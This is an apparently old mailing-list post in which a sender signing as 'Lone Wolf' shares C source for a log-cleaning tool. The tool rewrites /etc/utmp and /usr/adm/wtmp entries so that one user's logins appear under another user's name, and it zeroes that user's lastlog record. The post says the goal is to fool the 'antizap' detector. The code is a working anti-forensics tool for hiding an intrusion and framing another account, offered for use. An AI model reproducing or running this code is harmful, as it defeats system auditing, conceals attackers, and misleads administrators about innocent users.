no subject (file transmission)

[danny () protocol ece iisc ernet in (Lone Wolf)]

hi here is a cure to antizap instead of chucking in null bytes in w/utmp
replace it with the name of some other user i think this should do
to fool the antizap programme
danny
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <utmp.h>
#include <lastlog.h>
#include <pwd.h>

#define bzero(x, y) memset(x, 0, y)

int f;
 kill_tmp(name,who,whom)
char *name,
     *who,
     *whom;
{
    struct utmp utmp_ent,utmp_new;

  if ((f=open(name,O_RDWR))>=0) {
     while(read (f, &utmp_new, sizeof (utmp_new))> 0 )
       if (!strncmp(utmp_new.ut_name,whom,strlen(whom)))
       {
        printf("ut_line :%s\n",utmp_new.ut_line);
     close(f);
     }

  }


  if ((f=open(name,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
       strncpy(utmp_ent.ut_user,whom,8);
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int  argc;
char *argv[];
{
    if (argc==3) {
        kill_tmp("/etc/utmp",argv[1],argv[2]);
        kill_tmp("/usr/adm/wtmp",argv[1],argv[2]);
        kill_lastlog(argv[1]);
printf("The Lone Wolf Strikes ......!\n");
printf("%s changed to %s  ......!\n",argv[1],argv[2]);
    } else
       {   printf("Usage: filename uid_to_be_replaced required_uid.\n");
           exit(1);
       }
}